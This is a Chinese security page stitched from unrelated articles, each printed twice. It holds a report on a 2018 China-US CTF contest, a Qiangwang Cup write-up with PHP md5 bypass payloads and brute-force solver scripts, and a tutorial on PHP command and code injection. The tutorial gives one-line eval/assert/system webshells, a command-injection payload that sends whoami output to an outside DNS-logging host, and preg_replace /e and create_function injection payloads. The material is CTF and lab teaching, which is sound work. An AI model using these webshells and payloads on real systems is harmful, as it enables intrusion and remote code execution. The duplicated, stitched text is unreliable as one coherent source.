2018年3月31日,首届由方滨兴院士指导,广州大学网络空间先进技术研究院牵头,美国诺励集团、湖南合天智汇信息技术有限公司、丁牛科技、北京邮电大学网络空间安全学院等多方共同推动的方班—诺励网络安全中美友谊对抗赛于北京时间20183318:00(美国当地时间33017:00)顺利开赛。

1.pngTIM图片20180403142732.jpg

  本次中方方班参赛选手是由2018CTF集训冬令营参训学员组成,包括广州大学、北京邮电大学等高校的学生;美方参赛选手是由Southern Utah UniversityEastern New Mexico University两所高校的代表队参赛,比赛之前双方在方滨兴院士的指导下通过视频电视电话会议,进行了比赛相关事宜的确定。一场跨越了大半个地球的国际友谊赛一触即发。

2.png

本次竞赛由湖南合天智汇信息技术有限公司提供技术支持合天智汇非常重视本次方班——诺励中美友谊对抗赛,比赛当天,合天智汇技术总监亲自坐镇,同时由竞赛平台、系统运维、题目组负责人全程监测,以保障本场比赛的顺利进行。

3.png

本次竞赛为CTF线上赛模式比赛一开始先放出了部分的PWN题和Web题大家立即进入战斗状态,纷纷投入到激烈的赛事中去比赛开始前3小时,双方队伍比分相差无几,大家似乎都在探索出题人的思路及方式;随后平台又陆续放出了Reverse、MISC、Crypto和更多的Web类型的题目,战队里的讨论也越来越热烈在后来1个半小时紧张激烈的比拼中,分数渐渐显现并且拉开距离,此时,美方参赛队伍分数略高。

4.png

比赛最后30分钟,从赛事屏幕图中能明显感觉到竞技氛围变得更加紧张起来,为赢取最后的胜利,大家集中精神争分夺秒,最后由中方队伍–北京邮电大学拔得头筹。

5.png

向取得优异成绩的团队表示祝贺!同时也希双方队员们能够继续发扬不断钻研、拼搏、勇往直前的精神,多多参与同类型友谊赛的比拼,争取再创佳绩!

 

合天智汇为能成为此次方班–诺励网络安全对抗赛技术支撑单位倍感荣幸,目前,合天智汇已成功为国家网信办、中国网络空间安全协会、国家互联网应急中心等职能部门与机构组织的“XP靶场挑战赛”、“强网杯”网络安全挑战赛、“2016中国网络安全技术对抗赛”、“XNUCA全国高校网安联赛”、“湖湘杯网络安全技能大赛”与“网安中国行演武厅网安技能赛”等全国性赛事提供支撑。合天智汇旗下合天网安竞赛系统秉承“以赛促训”的人才培养理念,支持CTF、靶场渗透、攻防对抗等网安竞赛模式,支持线上、线下,个人、团队多种比赛形式组合,合天智汇将一如既往为各类网络安全比赛提供技术支持。

2018年3月31日,首届由方滨兴院士指导,广州大学网络空间先进技术研究院牵头,美国诺励集团、湖南合天智汇信息技术有限公司、丁牛科技、北京邮电大学网络空间安全学院等多方共同推动的方班—诺励网络安全中美友谊对抗赛于北京时间20183318:00(美国当地时间33017:00)顺利开赛。

1.pngTIM图片20180403142732.jpg

  本次中方方班参赛选手是由2018CTF集训冬令营参训学员组成,包括广州大学、北京邮电大学等高校的学生;美方参赛选手是由Southern Utah UniversityEastern New Mexico University两所高校的代表队参赛,比赛之前双方在方滨兴院士的指导下通过视频电视电话会议,进行了比赛相关事宜的确定。一场跨越了大半个地球的国际友谊赛一触即发。

2.png

本次竞赛由湖南合天智汇信息技术有限公司提供技术支持合天智汇非常重视本次方班——诺励中美友谊对抗赛,比赛当天,合天智汇技术总监亲自坐镇,同时由竞赛平台、系统运维、题目组负责人全程监测,以保障本场比赛的顺利进行。

3.png

本次竞赛为CTF线上赛模式比赛一开始先放出了部分的PWN题和Web题大家立即进入战斗状态,纷纷投入到激烈的赛事中去比赛开始前3小时,双方队伍比分相差无几,大家似乎都在探索出题人的思路及方式;随后平台又陆续放出了Reverse、MISC、Crypto和更多的Web类型的题目,战队里的讨论也越来越热烈在后来1个半小时紧张激烈的比拼中,分数渐渐显现并且拉开距离,此时,美方参赛队伍分数略高。

4.png

比赛最后30分钟,从赛事屏幕图中能明显感觉到竞技氛围变得更加紧张起来,为赢取最后的胜利,大家集中精神争分夺秒,最后由中方队伍–北京邮电大学拔得头筹。

5.png

向取得优异成绩的团队表示祝贺!同时也希双方队员们能够继续发扬不断钻研、拼搏、勇往直前的精神,多多参与同类型友谊赛的比拼,争取再创佳绩!

 

合天智汇为能成为此次方班–诺励网络安全对抗赛技术支撑单位倍感荣幸,目前,合天智汇已成功为国家网信办、中国网络空间安全协会、国家互联网应急中心等职能部门与机构组织的“XP靶场挑战赛”、“强网杯”网络安全挑战赛、“2016中国网络安全技术对抗赛”、“XNUCA全国高校网安联赛”、“湖湘杯网络安全技能大赛”与“网安中国行演武厅网安技能赛”等全国性赛事提供支撑。合天智汇旗下合天网安竞赛系统秉承“以赛促训”的人才培养理念,支持CTF、靶场渗透、攻防对抗等网安竞赛模式,支持线上、线下,个人、团队多种比赛形式组合,合天智汇将一如既往为各类网络安全比赛提供技术支持。

本文作者:tinyfisher

原创投稿活动:重金悬赏 | 合天原创投稿等你来!

周末参加了强网杯,虽然只做出了一些题目,收获还是蛮大的,记录一下解题过程和思路,writeup如下:

一、 Welcome

题目描述:

强网杯部分题目writeup终稿86.png


解题思路:

首先下载文件,用winhex看看文件头为424D,判断文件为bmp文件:

强网杯部分题目writeup终稿131.png

尝试用notepad打开看看文件内容中是否有flag,没有发现;然后binwalk一下未发现图片中有隐藏文件;再尝试用stegsolve打开,stereogram不断设置offset,发现图片有一些异常,当offset为80时,出现flag

强网杯部分题目writeup终稿254.png

二、 web签到

题目描述:

强网杯部分题目writeup终稿269.png


解题思路:

这题还是蛮有意思的,虽说是签到,考察的点很好

第一关:

强网杯部分题目writeup终稿305.png

看一下源代码:

强网杯部分题目writeup终稿315.png

很基础的==弱类型判断,要使得param1!=param2并且md5(param1)==md5(param1)

两边都是==弱类型判断,这里说一下==和===的区别:

要使$a == $b,只需要类型转换后 $a 等于 $b即可;要使$a === $b,则不但需要 $a 等于 $b,并且需要它们的类型也相同。可以明确的看到,==会在比较的时候进行类型转换的比较。

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。

绕过方式1:

param1=240610708,param2=QNKCDZO,这两个参数不相等;

md5(’240610708′) 的结果是:0e462097431906509019562988736854

md5(‘QNKCDZO’) 的结果是:0e830400451993494058024219903391

由于是==,0e462097431906509019562988736854在比较的时候会做类型转换成数字,而0e开头代表科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样就可以绕过。本地测试:

强网杯部分题目writeup终稿817.png

强网杯部分题目writeup终稿819.png


绕过方式2:

param1[]=1&param2[]=2

这里param1和param2都是数组,值不相等,但是md5(数组)会报错,返回null,因此

md5(param1)==md5(param1),也就是null==null,也可以绕过。

综上,可以构造数据或者md5 0e开头的字符串绕过,无需md5碰撞:

强网杯部分题目writeup终稿981.png

第二关:

强网杯部分题目writeup终稿988.png

看一下源代码:

强网杯部分题目writeup终稿998.png

这里param1!==param2并且md5(param1)===md5(param1),两边都是===判断,和第一关的==弱类型判断不一样,此时0e462097431906509019562988736854!== 0e830400451993494058024219903391,因为这里不做类型转换,当做字符串处理。这里只能用数组绕过,md5(数组)会报错,返回null,null===null

payload:

param1[]=1&param2[]=2

强网杯部分题目writeup终稿1233.png

第三关:

image.png

看一下源代码:

强网杯部分题目writeup终稿1251.png

这里两边都是强判断===,并且强制转换为string类型进行比较,想了很久,只能通过md5碰撞绕过去,早知道第三关这样,前面几关也都可以用md5碰撞绕过。首先用fastcoll生成2个md5一致的文件:

image.png

然后将这两个文件的内容通过url编码传进去即可:

Payload:
param1=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0Aj%18%B5%C3Q%0C%9A%82%CE%27%A4Cf%4
0%B1%FC%D6%DC%8D%DF%05%EB%B9%DF%5B%18%88%D4%A6%05%956%BC%EC-%3E%90%0F%26%FA%2C%AA%21%25%20g%A7%DB%EA%DB%89%05%A7%07%0D%14dS%20S%FB%90%B5%8A%C4T%E5%B2L%20%95%1C6%CD%17N%CE-%80%7B%9C%1E%8DN%26%1A%3A%11%BA%9E%B4%11%BD%04%99%0F%E1%9D%C4%D3%E2%D
8%9E%B8%E6%7F%B3%E9%06&param2=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0A%EA%18%B5%C3Q%0C%9A%82%CE%27%A4Cf

image.png

三、 streamgame1

题目介绍:

image.png

题目给了一个算法和一个key:

image.png

这里没有看具体的算法,因为flag长度25位,格式为flag{},那么中间长度就是19位,而密文key也很短:

image.png

尝试直接用爆破进行测试,按照题目的算法遍历flag,和key的每一位进行比较,如果匹配,那么该字符就是flag的一部分:

def lfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   while i!=0:
       lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)

#R=int(flag[5:-1],2)
mask    =   0b1010011000100011100
#print f1.read()
for R in range(0,0b1111111111111111111):   

   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=lfsr(R,mask)
           tmp=(tmp << 1)^out
       if i==0:
           if tmp==0x55:
               pass
           else:
               break
       if i==1:
           if tmp==0x38:
               pass
           else:
               break	
       if i==2:
           if tmp==0xF7:
               pass
           else:
               break
       if i==3:
           if tmp==0x42:
               pass
           else:
               break
       if i==4:
           if tmp==0xC1:
               print tmpr
           else:
               break

从0到0b111111111111111111遍历flag,然后带入到加密算法进行计算,根据key的二进制值,比较每一位是否相等,如果第一位相等继续比较第二位,如果不相等则继续遍历,比较各4-5位左右,如果都相等,差不多可以判断遍历成功,tmpr的二进制形式就是flag

四、 streamgame2

题目描述:

image.png

其实和streamgame 2没什么区别,只是长度变了:

image.png

还是遍历,只不过flag长度变成了27位,去掉“flag{}”6位,因此中间长度为21位,也就是0-0b111111111111111111111修改一下长度就可以

def lfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   while i!=0:
       lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)
#R=int(flag[5:-1],2)
mask=0x100002
#print f1.read()
for R in range(0,0b111111111111111111111):   
   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=lfsr(R,mask)
           tmp=(tmp << 1)^out
       if i==0:
           if tmp==0xB2:
               pass
           else:
               break
       if i==1:
           if tmp==0xE9:
               pass
           else:
               break	
       if i==2:
           if tmp==0x0E:
               pass
           else:
               break
       if i==3:
           if tmp==0x13:
               pass
           else:
               break
       if i==4:
           if tmp==0xA0:
               print tmpr
           else:
               break

五、 streamgame4

题目描述:

image.png

换汤不换药,虽说是1024X1024,但flag长度还是固定的21位:

image.png

因此还是遍历:

def nlfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   changesign=True
   while i!=0:
       if changesign:
           lastbit &= (i & 1)
           changesign=False
       else:
           lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)

#R=int(flag[5:-1],2)
mask=0b110110011011001101110
#print f1.read()
for R in range(0,0b111111111111111111111):   
   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=nlfsr(R,mask)
           tmp=(tmp << 1)^out

       if i==0:
           if tmp==0xD1:
               pass
           else:
               break
       if i==1:
           if tmp==0xD9:
               pass
           else:
               break	
       if i==2:
           if tmp==0x40:
               pass
           else:
               break
       if i==3:
           if tmp==0x43:
               pass
           else:
               break
       if i==4:
           if tmp==0x93:
               print tmpr
           else:
               break

六、 simplecheck

题目描述:

image.png

题目给了一个apk,运行下试试:

image.png

要输入flag,错误返回“sorry its wrong“

反编译apk,看一下关键代码:

image.png

这题需要让函数a返回true,传递的参数paramString为flag,需要我们逆出flag,算法大概的意思:

首先定义了一些数组a,b,c,d

往下看代码

if (paramString.length() != b.length) {
     return false;
}

这里说明了flag的长度需要等于b数组的长度,也就是34,再往下看:

int[] arrayOfInt = new int[a.length];
   arrayOfInt[0] = 0;
   byte[] arrayOfByte = paramString.getBytes();
   int i = arrayOfByte.length;
   int j = 0;
   int k = 1;
   while (j < i)
   {
     arrayOfInt[k] = arrayOfByte[j];
     k++;
     j++;
}

这里new了一个新数组arrayOfInt,arrayOfInt[0] = 0;然后将flag赋值到arrayOfInt[1]- arrayOfInt[34],也就是说数组arrayOfInt,第一位为0,后面34位为flag。

再往下看关键代码:

for (int m = 0;; m++)
   {
     if (m >= c.length) {
       break label175;
     }
     if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m])) {
       break;
     }
}

m从0到34进行遍历,要使得if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]))为假

由于if里面是||,也就是0||0才为0,转换一下这个条件就是:

a[m] == b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]

a[(m + 1)] == b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]

明白了关键函数,就可以尝试利用爆破区爆破flag:

a= [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b= [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c=[38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d=[0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]

flag=""
for m in range(1,34):      
   for f1 in range(32,127):     
       if((a[m] == b[m-1] * f1 * f1 + c[m-1] * f1 + d[m-1]) and (a[m] == b[m] * f1 * f1 + c[m] * f1 + d[m])):
           flag+=chr(f1)
           break
       else:
           pass
#print len(c)
print flag+"}"

本文作者:tinyfisher

原创投稿活动:重金悬赏 | 合天原创投稿等你来!

周末参加了强网杯,虽然只做出了一些题目,收获还是蛮大的,记录一下解题过程和思路,writeup如下:

一、 Welcome

题目描述:

强网杯部分题目writeup终稿86.png


解题思路:

首先下载文件,用winhex看看文件头为424D,判断文件为bmp文件:

强网杯部分题目writeup终稿131.png

尝试用notepad打开看看文件内容中是否有flag,没有发现;然后binwalk一下未发现图片中有隐藏文件;再尝试用stegsolve打开,stereogram不断设置offset,发现图片有一些异常,当offset为80时,出现flag

强网杯部分题目writeup终稿254.png

二、 web签到

题目描述:

强网杯部分题目writeup终稿269.png


解题思路:

这题还是蛮有意思的,虽说是签到,考察的点很好

第一关:

强网杯部分题目writeup终稿305.png

看一下源代码:

强网杯部分题目writeup终稿315.png

很基础的==弱类型判断,要使得param1!=param2并且md5(param1)==md5(param1)

两边都是==弱类型判断,这里说一下==和===的区别:

要使$a == $b,只需要类型转换后 $a 等于 $b即可;要使$a === $b,则不但需要 $a 等于 $b,并且需要它们的类型也相同。可以明确的看到,==会在比较的时候进行类型转换的比较。

如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。

绕过方式1:

param1=240610708,param2=QNKCDZO,这两个参数不相等;

md5(’240610708′) 的结果是:0e462097431906509019562988736854

md5(‘QNKCDZO’) 的结果是:0e830400451993494058024219903391

由于是==,0e462097431906509019562988736854在比较的时候会做类型转换成数字,而0e开头代表科学计数法,所以无论0e后面是什么,0的多少次方还是0,这样就可以绕过。本地测试:

强网杯部分题目writeup终稿817.png

强网杯部分题目writeup终稿819.png


绕过方式2:

param1[]=1&param2[]=2

这里param1和param2都是数组,值不相等,但是md5(数组)会报错,返回null,因此

md5(param1)==md5(param1),也就是null==null,也可以绕过。

综上,可以构造数据或者md5 0e开头的字符串绕过,无需md5碰撞:

强网杯部分题目writeup终稿981.png

第二关:

强网杯部分题目writeup终稿988.png

看一下源代码:

强网杯部分题目writeup终稿998.png

这里param1!==param2并且md5(param1)===md5(param1),两边都是===判断,和第一关的==弱类型判断不一样,此时0e462097431906509019562988736854!== 0e830400451993494058024219903391,因为这里不做类型转换,当做字符串处理。这里只能用数组绕过,md5(数组)会报错,返回null,null===null

payload:

param1[]=1&param2[]=2

强网杯部分题目writeup终稿1233.png

第三关:

image.png

看一下源代码:

强网杯部分题目writeup终稿1251.png

这里两边都是强判断===,并且强制转换为string类型进行比较,想了很久,只能通过md5碰撞绕过去,早知道第三关这样,前面几关也都可以用md5碰撞绕过。首先用fastcoll生成2个md5一致的文件:

image.png

然后将这两个文件的内容通过url编码传进去即可:

Payload:
param1=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0Aj%18%B5%C3Q%0C%9A%82%CE%27%A4Cf%4
0%B1%FC%D6%DC%8D%DF%05%EB%B9%DF%5B%18%88%D4%A6%05%956%BC%EC-%3E%90%0F%26%FA%2C%AA%21%25%20g%A7%DB%EA%DB%89%05%A7%07%0D%14dS%20S%FB%90%B5%8A%C4T%E5%B2L%20%95%1C6%CD%17N%CE-%80%7B%9C%1E%8DN%26%1A%3A%11%BA%9E%B4%11%BD%04%99%0F%E1%9D%C4%D3%E2%D
8%9E%B8%E6%7F%B3%E9%06&param2=o%BC%FA%5C%0EiG%CA%1C%D7%DB%B4%E0%9B%FCF%A78%0A%EA%18%B5%C3Q%0C%9A%82%CE%27%A4Cf

image.png

三、 streamgame1

题目介绍:

image.png

题目给了一个算法和一个key:

image.png

这里没有看具体的算法,因为flag长度25位,格式为flag{},那么中间长度就是19位,而密文key也很短:

image.png

尝试直接用爆破进行测试,按照题目的算法遍历flag,和key的每一位进行比较,如果匹配,那么该字符就是flag的一部分:

def lfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   while i!=0:
       lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)

#R=int(flag[5:-1],2)
mask    =   0b1010011000100011100
#print f1.read()
for R in range(0,0b1111111111111111111):   

   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=lfsr(R,mask)
           tmp=(tmp << 1)^out
       if i==0:
           if tmp==0x55:
               pass
           else:
               break
       if i==1:
           if tmp==0x38:
               pass
           else:
               break	
       if i==2:
           if tmp==0xF7:
               pass
           else:
               break
       if i==3:
           if tmp==0x42:
               pass
           else:
               break
       if i==4:
           if tmp==0xC1:
               print tmpr
           else:
               break

从0到0b111111111111111111遍历flag,然后带入到加密算法进行计算,根据key的二进制值,比较每一位是否相等,如果第一位相等继续比较第二位,如果不相等则继续遍历,比较各4-5位左右,如果都相等,差不多可以判断遍历成功,tmpr的二进制形式就是flag

四、 streamgame2

题目描述:

image.png

其实和streamgame 2没什么区别,只是长度变了:

image.png

还是遍历,只不过flag长度变成了27位,去掉“flag{}”6位,因此中间长度为21位,也就是0-0b111111111111111111111修改一下长度就可以

def lfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   while i!=0:
       lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)
#R=int(flag[5:-1],2)
mask=0x100002
#print f1.read()
for R in range(0,0b111111111111111111111):   
   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=lfsr(R,mask)
           tmp=(tmp << 1)^out
       if i==0:
           if tmp==0xB2:
               pass
           else:
               break
       if i==1:
           if tmp==0xE9:
               pass
           else:
               break	
       if i==2:
           if tmp==0x0E:
               pass
           else:
               break
       if i==3:
           if tmp==0x13:
               pass
           else:
               break
       if i==4:
           if tmp==0xA0:
               print tmpr
           else:
               break

五、 streamgame4

题目描述:

image.png

换汤不换药,虽说是1024X1024,但flag长度还是固定的21位:

image.png

因此还是遍历:

def nlfsr(R,mask):
   output = (R << 1) & 0xffffff
   i=(R&mask)&0xffffff
   lastbit=0
   changesign=True
   while i!=0:
       if changesign:
           lastbit &= (i & 1)
           changesign=False
       else:
           lastbit^=(i&1)
       i=i>>1
   output^=lastbit
   return (output,lastbit)

#R=int(flag[5:-1],2)
mask=0b110110011011001101110
#print f1.read()
for R in range(0,0b111111111111111111111):   
   tmpr=R
   for i in range(12):
       tmp=0
       for j in range(8):
           (R,out)=nlfsr(R,mask)
           tmp=(tmp << 1)^out

       if i==0:
           if tmp==0xD1:
               pass
           else:
               break
       if i==1:
           if tmp==0xD9:
               pass
           else:
               break	
       if i==2:
           if tmp==0x40:
               pass
           else:
               break
       if i==3:
           if tmp==0x43:
               pass
           else:
               break
       if i==4:
           if tmp==0x93:
               print tmpr
           else:
               break

六、 simplecheck

题目描述:

image.png

题目给了一个apk,运行下试试:

image.png

要输入flag,错误返回“sorry its wrong“

反编译apk,看一下关键代码:

image.png

这题需要让函数a返回true,传递的参数paramString为flag,需要我们逆出flag,算法大概的意思:

首先定义了一些数组a,b,c,d

往下看代码

if (paramString.length() != b.length) {
     return false;
}

这里说明了flag的长度需要等于b数组的长度,也就是34,再往下看:

int[] arrayOfInt = new int[a.length];
   arrayOfInt[0] = 0;
   byte[] arrayOfByte = paramString.getBytes();
   int i = arrayOfByte.length;
   int j = 0;
   int k = 1;
   while (j < i)
   {
     arrayOfInt[k] = arrayOfByte[j];
     k++;
     j++;
}

这里new了一个新数组arrayOfInt,arrayOfInt[0] = 0;然后将flag赋值到arrayOfInt[1]- arrayOfInt[34],也就是说数组arrayOfInt,第一位为0,后面34位为flag。

再往下看关键代码:

for (int m = 0;; m++)
   {
     if (m >= c.length) {
       break label175;
     }
     if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m])) {
       break;
     }
}

m从0到34进行遍历,要使得if ((a[m] != b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]) || (a[(m + 1)] != b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]))为假

由于if里面是||,也就是0||0才为0,转换一下这个条件就是:

a[m] == b[m] * arrayOfInt[m] * arrayOfInt[m] + c[m] * arrayOfInt[m] + d[m]

a[(m + 1)] == b[m] * arrayOfInt[(m + 1)] * arrayOfInt[(m + 1)] + c[m] * arrayOfInt[(m + 1)] + d[m]

明白了关键函数,就可以尝试利用爆破区爆破flag:

a= [0, 146527998, 205327308, 94243885, 138810487, 408218567, 77866117, 71548549, 563255818, 559010506, 449018203, 576200653, 307283021, 467607947, 314806739, 341420795, 341420795, 469998524, 417733494, 342206934, 392460324, 382290309, 185532945, 364788505, 210058699, 198137551, 360748557, 440064477, 319861317, 676258995, 389214123, 829768461, 534844356, 427514172, 864054312]
b= [13710, 46393, 49151, 36900, 59564, 35883, 3517, 52957, 1509, 61207, 63274, 27694, 20932, 37997, 22069, 8438, 33995, 53298, 16908, 30902, 64602, 64028, 29629, 26537, 12026, 31610, 48639, 19968, 45654, 51972, 64956, 45293, 64752, 37108]
c=[38129, 57355, 22538, 47767, 8940, 4975, 27050, 56102, 21796, 41174, 63445, 53454, 28762, 59215, 16407, 64340, 37644, 59896, 41276, 25896, 27501, 38944, 37039, 38213, 61842, 43497, 9221, 9879, 14436, 60468, 19926, 47198, 8406, 64666]
d=[0, -341994984, -370404060, -257581614, -494024809, -135267265, 54930974, -155841406, 540422378, -107286502, -128056922, 265261633, 275964257, 119059597, 202392013, 283676377, 126284124, -68971076, 261217574, 197555158, -12893337, -10293675, 93868075, 121661845, 167461231, 123220255, 221507, 258914772, 180963987, 107841171, 41609001, 276531381, 169983906, 276158562]

flag=""
for m in range(1,34):      
   for f1 in range(32,127):     
       if((a[m] == b[m-1] * f1 * f1 + c[m-1] * f1 + d[m-1]) and (a[m] == b[m] * f1 * f1 + c[m] * f1 + d[m])):
           flag+=chr(f1)
           break
       else:
           pass
#print len(c)
print flag+"}"

作者:一叶飘零

一、 前记

今天在合天实验室看到这样一个实验:

代码注入总结---20180312第二次批注最终2042.png

题目对萌新还是比较友好的,属于启蒙项,尚未接触过该类问题的同学可以尝试一下,领略一下命令注入的魅力。(点击http://www.hetianlab.com/expc.do?ec=2cf0139a-9d8a-4e91-96aa-f3fbec33205e,可开始学习本实验

而我个人做罢之余,心想不如总结一下最近遇到的命令或是代码注入的情况,于是便有了这篇文章~

1.  常见php命令注入函数

eval(),,assert(), system(),preg_replace(), create_function, call_user_func, call_user_func_array,array_map(),反引号,ob_start(),exec(),shell_exec(),passthru(),escapeshellcmd(),popen(),proc_open(),pcntl_exec()

二、 背景

1. 知识前提

这里不再多提,相信大家已经对这几个函数轻车熟路了,常见小马均在使用

<?php

@eval($_GET["sky"]);

?>

 

<?php

@assert($_GET["sky"]);

?>

 

<?php

@system($_GET["sky"]);

?>

2. 题目实战

这里直接就用合天实验室的题目说明

看到题目给出的源码:

<?php

system(“ping -n 2 “.$_GET['ip']);

 ?>

正常访问

http://localhost/web/hetian.php?ip=127.0.0.1

代码注入总结---20180312第二次批注最终2708.png

(23333编码问题请忽略)

是一个常规的ping命令

我们进行命令注入

http://localhost/web/hetian.php?ip=|dir

得到回显

代码注入总结---20180312第二次批注最终2848.png

我们再换个套路,把这段代码放在服务器上(linux)

尝试:

http://vps_ip/testsky/index.php?ip=`whoami`.2bub8m.ceye.io

可以收到回显

代码注入总结---20180312第二次批注最终3026.png

并且这类题目在CTF中可以说屡见不鲜,值得好好掌握

三、 preg_replace()

1. 知识前提

查阅php手册

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

函数作用:搜索subject中匹配pattern的部分, 以replacement进行替换。

其中,在错误/异常中提及:

PHP 5.5.0 起, 传入 “\e” 修饰符的时候,会产生一个 E_DEPRECATED 错误; PHP 7.0.0 起,会产生 E_WARNING 错误,同时 “\e” 也无法起效。

所以正是这个修饰符,让我们可以进行命令注入

但需要知道的是:

7.0.0 不再支持 /e修饰符。 请用 preg_replace_callback() 代替。

5.5.0 /e 修饰符已经被弃用了。使用 preg_replace_callback() 代替。参见文档中 PREG_REPLACE_EVAL 关于安全风险的更多信息。

在实践的时候需要看清php版本,在7.0的版本以后就不再适用!

2. 题目实战

error_reporting(0);

$pattern = $_GET[pat];

$replacement = $_GET[rep];

$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject))

{

    preg_replace($pattern, $replacement, $subject);

}

else

{

die();

}

调用方法:

preg_replace(“/test/e”,phpinfo(),”jutst test”);

此时phpinfo()将会被执行

因为使用/e修饰符,preg_replace会将 replacement 参数当作 PHP代码执行

所以最后的payload:

?pat=/test/e&rep=phpinfo()&sub=jutst test

?pat=/test/e&rep=var_dump(`dir`)&sub=jutst test

代码注入总结---20180312第二次批注最终4010.png代码注入总结---20180312第二次批注最终4012.png

可以看到命令成功注入!

四、 create_function()

1. 知识前提

查阅php手册

string create_function ( string $args , string $code )

函数作用:从创建一个匿名函数传递的参数,并返回一个唯一的名称

看一个官方样例

<?php

$newfunc = create_function(‘$a,$b’, ‘return “ln($a) + ln($b) = ” . log($a * $b);’);

echo “New anonymous function: $newfunc\n”;

echo $newfunc(2, M_E) . “\n”;

// outputs

// New anonymous function: lambda_1

// ln(2) + ln(2.718281828459) = 1.6931471805599

?>

我们不难得到create_function()的原型

function test($a,$b)

{

return “ln($a) + ln($b) = ” . log($a * $b);

}

那么我们开始实战

2. 题目实战1

此问题曾出现在WordPress <= 4.6.1 使用语言文件任意代码执行

详细分析请戳:http://blog.knownsec.com/2016/10/wordpress-4-6-1-language-exploit/

下面给出关键代码

function make_plural_form_function($nplurals, $expression) {  

    $expression = str_replace(‘n’, ‘$n’, $expression);

    $func_body = “

        \$index = (int)($expression);

        return (\$index < $nplurals)? \$index : $nplurals – 1;”;

    return create_function(‘$n’, $func_body);

}

可以清楚看见,关键利用点就是在create_function()

3. 题目实战2

给出《web安全深度剖析》中的一个实例:

<?php

error_reporting(0);

$sort_by = $_GET['sort_by'];

$sorter = ‘strnatcasecmp’;

$databases=array(’1234′,’4321′);

$sort_function = ‘ return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);’;

usort($databases, create_function(‘$a, $b’, $sort_function));

?>

首先构造出函数原型

function test($a,$b)

{

return 1 * ‘ . $sorter . ‘($a["' . $sort_by . '"], $b["' . $sort_by . '"]);

}

根据这个,我们可以构造payload:

?sort_by=”]);}phpinfo();/*

传入后得到:

return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);

所以此时的函数原型:

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);}phpinfo();/*”], $b[""]);}phpinfo();/*”]);

}

很显然,经过`/*`注释符

我们剩下的只有

function test($a,$b)

{

return 1 * strnatcasecmp($a[""]);

}

phpinfo();

成功的进行了代码注入!

代码注入总结---20180312第二次批注最终5796.png

